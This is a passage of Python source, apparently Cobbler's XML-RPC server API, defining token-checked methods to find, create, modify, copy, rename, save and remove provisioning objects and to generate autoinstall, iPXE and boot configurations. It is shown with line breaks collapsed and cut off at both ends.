All profiles which have matched the criteria. """ return self.find_items("profile", criteria, expand=expand, resolved=resolved) def find_system( self, criteria: Optional[Dict[str, Any]] = None, expand: bool = False, resolved: bool = False, token: Optional[str] = None, **rest: Any, ) -> List[Any]: """ Find a system matching certain criteria. :param criteria: The criteria a distribution needs to match. :param expand: Not only get the names but also the complete object in form of a dict. :param resolved: This only has an effect when ``expand = True``. It returns the resolved representation of the object instead of the raw data. :param token: The API-token obtained via the login() method. :param rest: This parameter is not used currently. :return: All systems which have matched the criteria. """ return self.find_items("system", criteria, expand=expand, resolved=resolved) def find_repo( self, criteria: Optional[Dict[str, Any]] = None, expand: bool = False, resolved: bool = False, token: Optional[str] = None, **rest: Any, ) -> List[Any]: """ Find a repository matching certain criteria. :param criteria: The criteria a distribution needs to match. :param expand: Not only get the names but also the complete object in form of a dict. :param resolved: This only has an effect when ``expand = True``. It returns the resolved representation of the object instead of the raw data. :param token: The API-token obtained via the login() method. :param rest: This parameter is not used currently. :return: All repositories which have matched the criteria. """ return self.find_items("repo", criteria, expand=expand, resolved=resolved) def find_image( self, criteria: Optional[Dict[str, Any]] = None, expand: bool = False, resolved: bool = False, token: Optional[str] = None, **rest: Any, ) -> List[Any]: """ Find an image matching certain criteria. :param criteria: The criteria a distribution needs to match. :param expand: Not only get the names but also the complete object in form of a dict. :param resolved: This only has an effect when ``expand = True``. It returns the resolved representation of the object instead of the raw data. :param token: The API-token obtained via the login() method. :param rest: This parameter is not used currently. :return: All images which have matched the criteria. """ return self.find_items("image", criteria, expand=expand, resolved=resolved) def find_menu( self, criteria: Optional[Dict[str, Any]] = None, expand: bool = False, resolved: bool = False, token: Optional[str] = None, **rest: Any, ) -> List[Any]: """ Find a menu matching certain criteria. :param criteria: The criteria a distribution needs to match. :param expand: Not only get the names but also the complete object in form of a dict. :param resolved: This only has an effect when ``expand = True``. It returns the resolved representation of the object instead of the raw data. :param token: The API-token obtained via the login() method. :param rest: This parameter is not used currently. :return: All files which have matched the criteria. """ return self.find_items("menu", criteria, expand=expand, resolved=resolved) def find_items_paged( self, what: str, criteria: Optional[Dict[str, Any]] = None, sort_field: Optional[str] = None, page: int = 1, items_per_page: int = 25, resolved: bool = False, token: Optional[str] = None, ): """ Returns a list of dicts as with find_items but additionally supports returning just a portion of the total list, for instance in supporting a web app that wants to show a limited amount of items per page. :param what: The object type to find. :param criteria: The criteria a distribution needs to match. :param sort_field: The field to sort the results after. :param page: The page to return :param items_per_page: The number of items per page. :param resolved: This only has an effect when ``expand = True``. It returns the resolved representation of the object instead of the raw data. :param token: The API-token obtained via the login() method. :return: The found items. """ self._log( f"find_items_paged({what}); criteria({criteria}); sort({sort_field})", token=token, ) if criteria is None: items = self.api.get_items(what) else: items = self.api.find_items(what, criteria=criteria) items = self.__sort(items, sort_field) # type: ignore (items, pageinfo) = self.__paginate(items, page, items_per_page) # type: ignore items = [x.to_dict(resolved=resolved) for x in items] # type: ignore return self.xmlrpc_hacks({"items": items, "pageinfo": pageinfo}) def has_item(self, what: str, name: str, token: Optional[str] = None): """ Returns True if a given collection has an item with a given name, otherwise returns False. :param what: The collection to search through. :param name: The name of the item. :param token: The API-token obtained via the login() method. :return: True if item was found, otherwise False. """ self._log(f"has_item({what})", token=token, name=name) try: self.__get_object(self.get_item_handle(what, name)) except ValueError: return False return True def get_item_handle(self, what: str, name: str) -> str: """ Given the name of an object (or other search parameters), return a reference (object id) that can be used with ``modify_*`` functions or ``save_*`` functions to manipulate that object. :param what: The collection where the item is living in. :param name: The name of the item. :return: The handle of the desired object. """ if not validate_obj_type(what): raise CX("invalid object type") if not validate_obj_name(name): raise CX("invalid object name") found_saved = self.api.find_items(what, name=name, return_list=True) if len(found_saved) > 1: # type: ignore raise CX(f"ambiguous match for given collection and name") elif len(found_saved) == 1: # type: ignore return found_saved[0].uid # type: ignore # Check if in cache for item in self.unsaved_items.values(): if item[1].name == name and item[1].TYPE_NAME == what: return item[1].uid return self.xmlrpc_hacks(None) # type: ignore def get_distro_handle(self, name: str): """ Get a handle for a distribution which allows you to use the functions ``modify_*`` or ``save_*`` to manipulate it. :param name: The name of the item. :return: The handle of the desired object. """ return self.get_item_handle("distro", name) def get_profile_handle(self, name: str): """ Get a handle for a profile which allows you to use the functions ``modify_*`` or ``save_*`` to manipulate it. :param name: The name of the item. :return: The handle of the desired object. """ return self.get_item_handle("profile", name) def get_system_handle(self, name: str): """ Get a handle for a system which allows you to use the functions ``modify_*`` or ``save_*`` to manipulate it. :param name: The name of the item. :return: The handle of the desired object. """ return self.get_item_handle("system", name) def get_repo_handle(self, name: str): """ Get a handle for a repository which allows you to use the functions ``modify_*`` or ``save_*`` to manipulate it. :param name: The name of the item. :return: The handle of the desired object. """ return self.get_item_handle("repo", name) def get_image_handle(self, name: str): """ Get a handle for an image which allows you to use the functions ``modify_*`` or ``save_*`` to manipulate it. :param name: The name of the item. :return: The handle of the desired object. """ return self.get_item_handle("image", name) def get_menu_handle(self, name: str): """ Get a handle for a menu which allows you to use the functions ``modify_*`` or ``save_*`` to manipulate it. :param name: The name of the item. :return: The handle of the desired object. """ return self.get_item_handle("menu", name) def remove_item( self, what: str, name: str, token: str, recursive: bool = True ) -> bool: """ Deletes an item from a collection. Note that this requires the name of the distro, not an item handle. :param what: The item type of the item to remove. :param name: The name of the item to remove. :param token: The API-token obtained via the login() method. :param recursive: If items which are depending on this one should be erased too. :return: True if the action was successful. """ self._log( f"remove_item ({what}, recursive={recursive})", name=name, token=token ) obj_handle = self.get_item_handle(what, name) try: obj = self.__get_object(obj_handle) except ValueError: return False self.check_access(token, f"remove_{what}", obj.name) if obj_handle in self.unsaved_items: self.unsaved_items.pop(obj_handle) return True self.api.remove_item( what, name, delete=True, with_triggers=True, recursive=recursive ) return True def remove_distro(self, name: str, token: str, recursive: bool = True): """ Deletes a distribution from Cobbler. :param name: The name of the item to remove. :param token: The API-token obtained via the login() method. :param recursive: If items which are depending on this one should be erased too. :return: True if the action was successful. """ return self.remove_item("distro", name, token, recursive) def remove_profile(self, name: str, token: str, recursive: bool = True): """ Deletes a profile from Cobbler. :param name: The name of the item to remove. :param token: The API-token obtained via the login() method. :param recursive: If items which are depending on this one should be erased too. :return: True if the action was successful. """ return self.remove_item("profile", name, token, recursive) def remove_system(self, name: str, token: str, recursive: bool = True): """ Deletes a system from Cobbler. :param name: The name of the item to remove. :param token: The API-token obtained via the login() method. :param recursive: If items which are depending on this one should be erased too. :return: True if the action was successful. """ return self.remove_item("system", name, token, recursive) def remove_repo(self, name: str, token: str, recursive: bool = True): """ Deletes a repository from Cobbler. :param name: The name of the item to remove. :param token: The API-token obtained via the login() method. :param recursive: If items which are depending on this one should be erased too. :return: True if the action was successful. """ return self.remove_item("repo", name, token, recursive) def remove_image(self, name: str, token: str, recursive: bool = True): """ Deletes an image from Cobbler. :param name: The name of the item to remove. :param token: The API-token obtained via the login() method. :param recursive: If items which are depending on this one should be erased too. :return: True if the action was successful. """ return self.remove_item("image", name, token, recursive) def remove_menu(self, name: str, token: str, recursive: bool = True): """ Deletes a menu from Cobbler. :param name: The name of the item to remove. :param token: The API-token obtained via the login() method. :param recursive: If items which are depending on this one should be erased too. :return: True if the action was successful. """ return self.remove_item("menu", name, token, recursive) def copy_item( self, what: str, object_id: str, newname: str, token: Optional[str] = None ): """ Creates a new object that matches an existing object, as specified by an id. :param what: The item type which should be copied. :param object_id: The object id of the item in question. :param newname: The new name for the copied object. :param token: The API-token obtained via the login() method. :return: True if the action succeeded. """ self._log(f"copy_item({what})", object_id=object_id, token=token) self.check_access(token, f"copy_{what}") obj = self.api.find_items(what, criteria={"uid": object_id}, return_list=False) if obj is None or isinstance(obj, list): raise ValueError(f'Item with id "{object_id}" not found.') self.api.copy_item(what, obj, newname) return True def copy_distro(self, object_id: str, newname: str, token: Optional[str] = None): """ Copies a distribution and renames it afterwards. :param object_id: The object id of the item in question. :param newname: The new name for the copied object. :param token: The API-token obtained via the login() method. :return: True if the action succeeded. """ return self.copy_item("distro", object_id, newname, token) def copy_profile(self, object_id: str, newname: str, token: Optional[str] = None): """ Copies a profile and renames it afterwards. :param object_id: The object id of the item in question. :param newname: The new name for the copied object. :param token: The API-token obtained via the login() method. :return: True if the action succeeded. """ return self.copy_item("profile", object_id, newname, token) def copy_system(self, object_id: str, newname: str, token: Optional[str] = None): """ Copies a system and renames it afterwards. :param object_id: The object id of the item in question. :param newname: The new name for the copied object. :param token: The API-token obtained via the login() method. :return: True if the action succeeded. """ return self.copy_item("system", object_id, newname, token) def copy_repo(self, object_id: str, newname: str, token: Optional[str] = None): """ Copies a repository and renames it afterwards. :param object_id: The object id of the item in question. :param newname: The new name for the copied object. :param token: The API-token obtained via the login() method. :return: True if the action succeeded. """ return self.copy_item("repo", object_id, newname, token) def copy_image(self, object_id: str, newname: str, token: Optional[str] = None): """ Copies an image and renames it afterwards. :param object_id: The object id of the item in question. :param newname: The new name for the copied object. :param token: The API-token obtained via the login() method. :return: True if the action succeeded. """ return self.copy_item("image", object_id, newname, token) def copy_menu(self, object_id: str, newname: str, token: Optional[str] = None): """ Copies a menu and rename it afterwards. :param object_id: The object id of the item in question. :param newname: The new name for the copied object. :param token: The API-token obtained via the login() method. :return: True if the action succeeded. """ return self.copy_item("menu", object_id, newname, token) def rename_item( self, what: str, object_id: str, newname: str, token: Optional[str] = None ) -> bool: """ Renames an object specified by object_id to a new name. :param what: The type of object which shall be renamed to a new name. :param object_id: The id which refers to the object. :param newname: The new name for the object. :param token: The API-token obtained via the login() method. :return: True if the action succeeded. """ self._log(f"rename_item({what})", object_id=object_id, token=token) if token is None: raise ValueError('"token" must be provided to rename an item!') self.check_access(token, f"modify_{what}") obj = self.api.find_items(what, criteria={"uid": object_id}, return_list=False) if obj is None or isinstance(obj, list): raise ValueError(f'Item with id "{object_id}" not found!') self.api.rename_item(what, obj, newname) return True def rename_distro( self, object_id: str, newname: str, token: Optional[str] = None ) -> bool: """ Renames a distribution specified by object_id to a new name. :param object_id: The id which refers to the object. :param newname: The new name for the object. :param token: The API-token obtained via the login() method. :return: True if the action succeeded. """ return self.rename_item("distro", object_id, newname, token) def rename_profile( self, object_id: str, newname: str, token: Optional[str] = None ) -> bool: """ Renames a profile specified by object_id to a new name. :param object_id: The id which refers to the object. :param newname: The new name for the object. :param token: The API-token obtained via the login() method. :return: True if the action succeeded. """ return self.rename_item("profile", object_id, newname, token) def rename_system( self, object_id: str, newname: str, token: Optional[str] = None ) -> bool: """ Renames a system specified by object_id to a new name. :param object_id: The id which refers to the object. :param newname: The new name for the object. :param token: The API-token obtained via the login() method. :return: True if the action succeeded. """ return self.rename_item("system", object_id, newname, token) def rename_repo( self, object_id: str, newname: str, token: Optional[str] = None ) -> bool: """ Renames a repository specified by object_id to a new name. :param object_id: The id which refers to the object. :param newname: The new name for the object. :param token: The API-token obtained via the login() method. :return: True if the action succeeded. """ return self.rename_item("repo", object_id, newname, token) def rename_image( self, object_id: str, newname: str, token: Optional[str] = None ) -> bool: """ Renames an image specified by object_id to a new name. :param object_id: The id which refers to the object. :param newname: The new name for the object. :param token: The API-token obtained via the login() method. :return: True if the action succeeded. """ return self.rename_item("image", object_id, newname, token) def rename_menu( self, object_id: str, newname: str, token: Optional[str] = None ) -> bool: """ Renames a menu specified by object_id to a new name. :param object_id: The id which refers to the object. :param newname: The new name for the object. :param token: The API-token obtained via the login() method. :return: True if the action succeeded. """ return self.rename_item("menu", object_id, newname, token) def new_item( self, what: str, token: str, is_subobject: bool = False, **kwargs: Any ) -> str: """Creates a new (unconfigured) object, returning an object handle that can be used. Creates a new (unconfigured) object, returning an object handle that can be used with ``modify_*`` methods and then finally ``save_*`` methods. The handle only exists in memory until saved. :param what: specifies the type of object: ``distro``, ``profile``, ``system``, ``repo``, ``image`` or ``menu``. :param token: The API-token obtained via the login() method. :param is_subobject: If the object is a subobject of an already existing object or not. :return: The object id for the newly created object. """ self._log(f"new_item({what})", token=token) self.check_access(token, f"new_{what}") new_item = self.api.new_item(what, is_subobject, **kwargs) self.unsaved_items[new_item.uid] = (time.time(), new_item) return new_item.uid def new_distro(self, token: str): """ See ``new_item()``. :param token: The API-token obtained via the login() method. :return: The object id for the newly created object. """ return self.new_item("distro", token) def new_profile(self, token: str): """ See ``new_item()``. :param token: The API-token obtained via the login() method. :return: The object id for the newly created object. """ return self.new_item("profile", token) def new_subprofile(self, token: str): """ See ``new_item()``. :param token: The API-token obtained via the login() method. :return: The object id for the newly created object. """ return self.new_item("profile", token, is_subobject=True) def new_system(self, token: str): """ See ``new_item()``. :param token: The API-token obtained via the login() method. :return: The object id for the newly created object. """ return self.new_item("system", token) def new_repo(self, token: str): """ See ``new_item()``. :param token: The API-token obtained via the login() method. :return: The object id for the newly created object. """ return self.new_item("repo", token) def new_image(self, token: str): """ See ``new_item()``. :param token: The API-token obtained via the login() method. :return: The object id for the newly created object. """ return self.new_item("image", token) def new_menu(self, token: str): """ See ``new_item()``. :param token: The API-token obtained via the login() method. :return: The object id for the newly created object. """ return self.new_item("menu", token) def modify_item( self, what: str, object_id: str, attribute: str, arg: Union[str, int, float, List[str], Dict[str, Any]], token: str, ) -> bool: """ Adjusts the value of a given field, specified by 'what' on a given object id. Allows modification of certain attributes on newly created or existing distro object handle. :param what: The type of object to modify. :param object_id: The id of the object which shall be modified. :param attribute: The attribute name which shall be edited. :param arg: The new value for the argument. :param token: The API-token obtained via the login() method. :return: True if the action was successful. Otherwise False. """ self._log( f"modify_item({what})", object_id=object_id, attribute=attribute, token=token, ) obj = self.__get_object(object_id) self.check_access(token, f"modify_{what}", obj.name, attribute) if what == "system": if attribute == "modify_interface": obj.modify_interface(arg) # type: ignore return True if attribute == "delete_interface": obj.delete_interface(arg) # type: ignore return True if attribute == "rename_interface": obj.rename_interface( # type: ignore old_name=arg.get("interface", ""), # type: ignore new_name=arg.get("rename_interface", ""), # type: ignore ) return True if hasattr(obj, attribute): setattr(obj, attribute, arg) return True return False def modify_distro(self, object_id: str, attribute: str, arg: Any, token: str): """ Modify a single attribute of a distribution. :param object_id: The id of the object which shall be modified. :param attribute: The attribute name which shall be edited. :param arg: The new value for the argument. :param token: The API-token obtained via the login() method. :return: True if the action was successful. Otherwise False. """ return self.modify_item("distro", object_id, attribute, arg, token) def modify_profile(self, object_id: str, attribute: str, arg: Any, token: str): """ Modify a single attribute of a profile. :param object_id: The id of the object which shall be modified. :param attribute: The attribute name which shall be edited. :param arg: The new value for the argument. :param token: The API-token obtained via the login() method. :return: True if the action was successful. Otherwise False. """ return self.modify_item("profile", object_id, attribute, arg, token) def modify_system(self, object_id: str, attribute: str, arg: Any, token: str): """ Modify a single attribute of a system. :param object_id: The id of the object which shall be modified. :param attribute: The attribute name which shall be edited. :param arg: The new value for the argument. :param token: The API-token obtained via the login() method. :return: True if the action was successful. Otherwise False. """ return self.modify_item("system", object_id, attribute, arg, token) def modify_image(self, object_id: str, attribute: str, arg: Any, token: str): """ Modify a single attribute of an image. :param object_id: The id of the object which shall be modified. :param attribute: The attribute name which shall be edited. :param arg: The new value for the argument. :param token: The API-token obtained via the login() method. :return: True if the action was successful. Otherwise False. """ return self.modify_item("image", object_id, attribute, arg, token) def modify_repo(self, object_id: str, attribute: str, arg: Any, token: str): """ Modify a single attribute of a repository. :param object_id: The id of the object which shall be modified. :param attribute: The attribute name which shall be edited. :param arg: The new value for the argument. :param token: The API-token obtained via the login() method. :return: True if the action was successful. Otherwise False. """ return self.modify_item("repo", object_id, attribute, arg, token) def modify_menu(self, object_id: str, attribute: str, arg: Any, token: str): """ Modify a single attribute of a menu. :param object_id: The id of the object which shall be modified. :param attribute: The attribute name which shall be edited. :param arg: The new value for the argument. :param token: The API-token obtained via the login() method. :return: True if the action was successful. Otherwise False. """ return self.modify_item("menu", object_id, attribute, arg, token) def modify_setting( self, setting_name: str, value: Union[str, bool, float, int, Dict[Any, Any], List[Any]], token: str, ) -> int: """ Modify a single attribute of a setting. :param setting_name: The name of the setting which shall be adjusted. :param value: The new value for the setting. :param token: The API-token obtained via the login() method. :return: 0 on success, 1 on error. """ if not self.api.settings().allow_dynamic_settings: self._log( "modify_setting - feature turned off but was tried to be accessed", token=token, ) return 1 self._log(f"modify_setting({setting_name})", token=token) if not hasattr(self.api.settings(), setting_name): self.logger.warning("Setting did not exist!") return 1 self.check_access(token, "modify_setting") self._log(f"modify_setting({setting_name})", token=token) try: if isinstance(getattr(self.api.settings(), setting_name), str): value = str(value) elif isinstance(getattr(self.api.settings(), setting_name), bool): value = self.api.input_boolean(value) # type: ignore elif isinstance(getattr(self.api.settings(), setting_name), int): value = int(value) # type: ignore elif isinstance(getattr(self.api.settings(), setting_name), float): value = float(value) # type: ignore elif isinstance(getattr(self.api.settings(), setting_name), list): value = self.api.input_string_or_list_no_inherit(value) # type: ignore elif isinstance(getattr(self.api.settings(), setting_name), dict): value = self.api.input_string_or_dict_no_inherit(value) # type: ignore else: self.logger.error( "modify_setting(%s) - Wrong type for value", setting_name ) return 1 except TypeError: return 1 except ValueError: return 1 setattr(self.api.settings(), setting_name, value) self.api.clean_items_cache(self.api.settings()) self.api.settings().save() return 0 def auto_add_repos(self, token: str): """ :param token: The API-token obtained via the login() method. """ self.check_access(token, "new_repo", token) self.api.auto_add_repos() return True def __is_interface_field(self, field_name: str) -> bool: """ Checks if the field in ``f`` is related to a network interface. :param field_name: The fieldname to check. :return: True if the fields is related to a network interface, otherwise False. """ if field_name in ("interface", "delete_interface", "rename_interface"): return True fields: List[str] = [] for key, value in network_interface.NetworkInterface.__dict__.items(): if isinstance(value, property): fields.append(key) return field_name in fields def xapi_object_edit( self, object_type: str, object_name: str, edit_type: str, attributes: Dict[str, Union[str, int, float, List[str]]], token: str, ): """Extended API: New style object manipulations, 2.0 and later. Extended API: New style object manipulations, 2.0 and later preferred over using ``new_*``, ``modify_*```, ``save_*`` directly. Though we must preserve the old ways for backwards compatibility these cause much less XMLRPC traffic. Ex: xapi_object_edit("distro","el5","add",{"kernel":"/tmp/foo","initrd":"/tmp/foo"},token) :param object_type: The object type which corresponds to the collection type the object is in. :param object_name: The name of the object under question. :param edit_type: One of 'add', 'rename', 'copy', 'remove' :param attributes: The attributes which shall be edited. This should be JSON-style string. :param token: The API-token obtained via the login() method. :return: True if the action succeeded. """ self.check_access(token, f"xedit_{object_type}", token) if object_name.strip() == "": raise ValueError("xapi_object_edit() called without an object name") handle = "" if edit_type in ("add", "rename"): if edit_type == "rename": # This is built by the CLI and thus we can be sure that this is the case! tmp_name: str = attributes["newname"] # type: ignore else: tmp_name = object_name try: handle = self.get_item_handle(object_type, tmp_name) except CX: pass if handle and handle != "~": raise CX( "It seems unwise to overwrite the object %s, try 'edit'", tmp_name ) if edit_type == "add": is_subobject = object_type == "profile" and "parent" in attributes if is_subobject and "distro" in attributes: raise ValueError("You can't change both 'parent' and 'distro'") if object_type == "system": if "profile" not in attributes and "image" not in attributes: raise ValueError( "You must specify a 'profile' or 'image' for new systems" ) handle = self.new_item(object_type, token, is_subobject=is_subobject) else: handle = self.get_item_handle(object_type, object_name) if edit_type == "rename": self.rename_item(object_type, handle, attributes["newname"], token) # type: ignore # After we did the rename we don't want to do anything anymore. Saving the item is done during renaming. return True if edit_type == "copy": is_subobject = object_type == "profile" and "parent" in attributes if is_subobject: if "distro" in attributes: raise ValueError("You can't change both 'parent' and 'distro'") self.copy_item(object_type, handle, attributes["newname"], token) # type: ignore handle = self.get_item_handle("profile", attributes["newname"]) # type: ignore self.modify_item( "profile", handle, "parent", attributes["parent"], token ) else: self.copy_item(object_type, handle, attributes["newname"], token) # type: ignore handle = self.get_item_handle(object_type, attributes["newname"]) # type: ignore if edit_type in ["copy"]: del attributes["name"] del attributes["newname"] if edit_type != "remove": # FIXME: this doesn't know about interfaces yet! # if object type is system and fields add to dict and then modify when done, rather than now. priority_attributes = ["name", "parent", "distro", "profile", "image"] for attr_name in priority_attributes: if attr_name in attributes: self.modify_item( object_type, handle, attr_name, attributes.pop(attr_name), token ) have_interface_keys = False for key, value in attributes.items(): if self.__is_interface_field(key): have_interface_keys = True if object_type != "system" or not self.__is_interface_field(key): # in place modifications allow for adding a key/value pair while keeping other k/v pairs intact. if key in [ "autoinstall_meta", "kernel_options", "kernel_options_post", "template_files", "params", ] and attributes.get("in_place"): details = self.get_item(object_type, object_name) new_value = details[key] # type: ignore parsed_input = self.api.input_string_or_dict(value) # type: ignore if isinstance(parsed_input, dict): for input_key, input_value in parsed_input.items(): if input_key.startswith("~") and len(input_key) > 1: del new_value[input_key[1:]] # type: ignore else: new_value[input_key] = input_value # type: ignore else: # If this is a str it MUST be the inherited case at this point. new_value = enums.VALUE_INHERITED value = new_value # type: ignore self.modify_item(object_type, handle, key, value, token) # type: ignore if object_type == "system" and have_interface_keys: self.__interface_edits(handle, attributes, object_name) else: # remove item recursive = attributes.get("recursive", False) if object_type in ["profile", "menu"] and recursive is False: childs = len( self.api.find_items( # type: ignore object_type, criteria={"parent": attributes["name"]} ) ) if childs > 0: raise CX( f"Can't delete this {object_type} there are {childs} sub{object_type}s and 'recursive' is" " set to 'False'" ) self.remove_item(object_type, object_name, token, recursive=recursive) # type: ignore return True # FIXME: use the bypass flag or not? self.save_item(object_type, handle, token) return True def __interface_edits( self, handle: str, attributes: Dict[str, Any], object_name: str ): """ Handles all edits in relation to network interfaces. :param handle: XML-RPC handle for the system that is being edited. :param attributes: The attributes that are being passed by the CLI to the server. :param object_name: The system name. """ # This if is taking care of interface logic. The interfaces are a dict, thus when we get the obj via # the api we get references to the original interfaces dict. Thus this trick saves us the pain of # writing the modified obj back to the collection. Always remember that dicts are mutable. system_to_edit: "system.System" = self.__get_object(handle) # type: ignore if system_to_edit is None: # type: ignore raise ValueError( f'No system found with the specified name (name given: "{object_name}")!' ) if "delete_interface" in attributes: if attributes.get("interface") is None: raise ValueError("Interface is required for deletion.") system_to_edit.delete_interface(attributes.get("interface", "")) return if "rename_interface" in attributes: system_to_edit.rename_interface( attributes.get("interface", ""), attributes.get("rename_interface", "") ) return # If we don't have an explicit interface name use the default interface or require an explicit # interface if default cannot be found. if len(system_to_edit.interfaces) > 1 and attributes.get("interface") is None: if "default" not in system_to_edit.interfaces.keys(): raise ValueError("Interface is required.") interface_name = "default" if len(system_to_edit.interfaces) == 1: interface_name = attributes.get( "interface", next(iter(system_to_edit.interfaces)) ) else: interface_name = attributes.get("interface", "default") attributes.pop("interface", None) self.logger.debug('Interface "%s" is being edited.', interface_name) interface = system_to_edit.interfaces.get(interface_name) if interface is None: # If the interface is not existing, create a new one. interface = network_interface.NetworkInterface( self.api, system_to_edit.name ) for attribute_key in attributes: if self.__is_interface_field(attribute_key): if hasattr(interface, attribute_key): setattr(interface, attribute_key, attributes[attribute_key]) else: self.logger.warning( 'Network interface field "%s" could not be set. Skipping it.', attribute_key, ) else: self.logger.debug("Field %s was not an interface field.", attribute_key) system_to_edit.interfaces.update({interface_name: interface}) def save_item( self, what: str, object_id: str, token: str, editmode: str = "bypass" ): """ Saves a newly created or modified object to disk. Calling save is required for any changes to persist. :param what: The type of object which shall be saved. This corresponds to the collections. :param object_id: The id of the object to save. :param token: The API-token obtained via the login() method. :param editmode: The mode which shall be used to persist the changes. Currently "new" and "bypass" are supported. :return: True if the action succeeded. """ self._log(f"save_item({what})", object_id=object_id, token=token) obj = self.__get_object(object_id) self.check_access(token, f"save_{what}", obj.name) if editmode == "new": self.api.add_item(what, obj, check_for_duplicate_names=True) else: self.api.add_item(what, obj) if object_id in self.unsaved_items: del self.unsaved_items[object_id] return True def save_distro(self, object_id: str, token: str, editmode: str = "bypass"): """ Saves a newly created or modified object to disk. Calling save is required for any changes to persist. :param object_id: The id of the object to save. :param token: The API-token obtained via the login() method. :param editmode: The mode which shall be used to persist the changes. Currently "new" and "bypass" are supported. :return: True if the action succeeded. """ return self.save_item("distro", object_id, token, editmode=editmode) def save_profile(self, object_id: str, token: str, editmode: str = "bypass"): """ Saves a newly created or modified object to disk. Calling save is required for any changes to persist. :param object_id: The id of the object to save. :param token: The API-token obtained via the login() method. :param editmode: The mode which shall be used to persist the changes. Currently "new" and "bypass" are supported. :return: True if the action succeeded. """ return self.save_item("profile", object_id, token, editmode=editmode) def save_system(self, object_id: str, token: str, editmode: str = "bypass"): """ Saves a newly created or modified object to disk. Calling save is required for any changes to persist. :param object_id: The id of the object to save. :param token: The API-token obtained via the login() method. :param editmode: The mode which shall be used to persist the changes. Currently "new" and "bypass" are supported. :return: True if the action succeeded. """ return self.save_item("system", object_id, token, editmode=editmode) def save_image(self, object_id: str, token: str, editmode: str = "bypass"): """ Saves a newly created or modified object to disk. Calling save is required for any changes to persist. :param object_id: The id of the object to save. :param token: The API-token obtained via the login() method. :param editmode: The mode which shall be used to persist the changes. Currently "new" and "bypass" are supported. :return: True if the action succeeded. """ return self.save_item("image", object_id, token, editmode=editmode) def save_repo(self, object_id: str, token: str, editmode: str = "bypass"): """ Saves a newly created or modified object to disk. Calling save is required for any changes to persist. :param object_id: The id of the object to save. :param token: The API-token obtained via the login() method. :param editmode: The mode which shall be used to persist the changes. Currently "new" and "bypass" are supported. :return: True if the action succeeded. """ return self.save_item("repo", object_id, token, editmode=editmode) def save_menu(self, object_id: str, token: str, editmode: str = "bypass"): """ Saves a newly created or modified object to disk. Calling save is required for any changes to persist. :param object_id: The id of the object to save. :param token: The API-token obtained via the login() method. :param editmode: The mode which shall be used to persist the changes. Currently "new" and "bypass" are supported. :return: True if the action succeeded. """ return self.save_item("menu", object_id, token, editmode=editmode) def get_autoinstall_templates(self, token: Optional[str] = None, **rest: Any): """ Returns all of the automatic OS installation templates that are in use by the system. :param token: The API-token obtained via the login() method. :param rest: This is dropped in this method since it is not needed here. :return: A list with all templates. """ self._log("get_autoinstall_templates", token=token) # self.check_access(token, "get_autoinstall_templates") return self.autoinstall_mgr.get_autoinstall_templates() def get_autoinstall_snippets(self, token: Optional[str] = None, **rest: Any): """ Returns all the automatic OS installation templates' snippets. :param token: The API-token obtained via the login() method. :param rest: This is dropped in this method since it is not needed here. :return: A list with all snippets. """ self._log("get_autoinstall_snippets", token=token) return self.autoinstall_mgr.get_autoinstall_snippets() def is_autoinstall_in_use(self, ai: str, token: Optional[str] = None, **rest: Any): """ Check if the autoinstall for a system is in use. :param ai: The name of the system which could potentially be in autoinstall mode. :param token: The API-token obtained via the login() method. :param rest: This is dropped in this method since it is not needed here. :return: True if this is the case, otherwise False. """ self._log("is_autoinstall_in_use", token=token) return self.autoinstall_mgr.is_autoinstall_in_use(ai) def generate_autoinstall( self, profile: Optional[str] = None, system: Optional[str] = None, REMOTE_ADDR: Optional[Any] = None, REMOTE_MAC: Optional[Any] = None, **rest: Any, ) -> str: """ Generate the autoinstallation file and return it. :param profile: The profile to generate the file for. :param system: The system to generate the file for. :param REMOTE_ADDR: This is dropped in this method since it is not needed here. :param REMOTE_MAC: This is dropped in this method since it is not needed here. :param rest: This is dropped in this method since it is not needed here. :return: The str representation of the file. """ # ToDo: Remove unneed params: REMOTE_ADDR, REMOTE_MAC, rest self._log("generate_autoinstall") try: return self.autoinstall_mgr.generate_autoinstall(profile, system) except Exception: utils.log_exc() return ( "# This automatic OS installation file had errors that prevented it from being rendered " "correctly.\n# The cobbler.log should have information relating to this failure." ) def generate_profile_autoinstall(self, profile: str): """ Generate a profile autoinstallation. :param profile: The profile to generate the file for. :return: The str representation of the file. """ return self.generate_autoinstall(profile=profile) def generate_system_autoinstall(self, system: str): """ Generate a system autoinstallation. :param system: The system to generate the file for. :return: The str representation of the file. """ return self.generate_autoinstall(system=system) def generate_ipxe( self, profile: Optional[str] = None, image: Optional[str] = None, system: Optional[str] = None, **rest: Any, ) -> str: """ Generate the ipxe configuration. :param profile: The profile to generate iPXE config for. :param image: The image to generate iPXE config for. :param system: The system to generate iPXE config for. :param rest: This is dropped in this method since it is not needed here. :return: The configuration as a str representation. """ self._log("generate_ipxe") return self.api.generate_ipxe(profile, image, system) # type: ignore def generate_bootcfg( self, profile: Optional[str] = None, system: Optional[str] = None, **rest: Any ) -> str: """ This generates the bootcfg for a system which is related to a certain profile. :param profile: The profile which is associated to the system. :param system: The system which the bootcfg should be generated for. :param rest: This is dropped in this method since it is not needed here. :return: The generated bootcfg. """ self._log("generate_bootcfg") profile_name = "" if profile is None else profile system_name = "" if system is None else system return self.api.generate_bootcfg(profile_name, system_name) def generate_script( self, profile: Optional[str] = None, system: Optional[str] = None, name: str = "", ) -> str: """ This generates the autoinstall script for a system or profile. Profile and System cannot be both given, if they are, Profile wins. :param profile: The profile name to generate the script for. :param system: The system name to generate the script for. :param name: Name of the generated script. Must only contain alphanumeric characters, dots and underscores. :return: Some generated script. """ # This is duplicated from tftpgen.py to prevent log poisoning via a template engine (Cheetah, Jinja2). if not validate_autoinstall_script_name(name): raise ValueError('"name" handed to generate_script was not valid!') self._log(f'generate_script, name is "{name}"') return self.api.generate_script(profile, system, name) def dump_vars( self, item_uuid: str, formatted_output: bool = False, remove_dicts: bool = True ): """ This function dumps all variables related to an object. The difference to the above mentioned function is that it accepts the item uid instead of the Python object itself. .. seealso:: Logically identical to :func:`~cobbler.api.CobblerAPI.dump_vars` """ obj = self.api.find_items( "", {"uid": item_uuid}, return_list=False, no_errors=True ) if obj is None or isinstance(obj, list): raise ValueError(f'Item with uuid "{item_uuid}" does not exist!') self.api.dump_vars(obj, formatted_output, remove_dicts) def get_blended_data( self, profile: Optional[str] = None, system: Optional[str] = None ): """ Combine all data which is available from a profile and system together and return it. .. deprecated:: 3.4.0 Please make use of the dump_vars endpoint. :param profile: The profile of the system. :param system: The system for which the data should be rendered. :return: All values which could be blended together through the inheritance chain. """ if profile is not None and profile != "": obj = self.api.find_profile(profile) if obj is None or isinstance(obj, 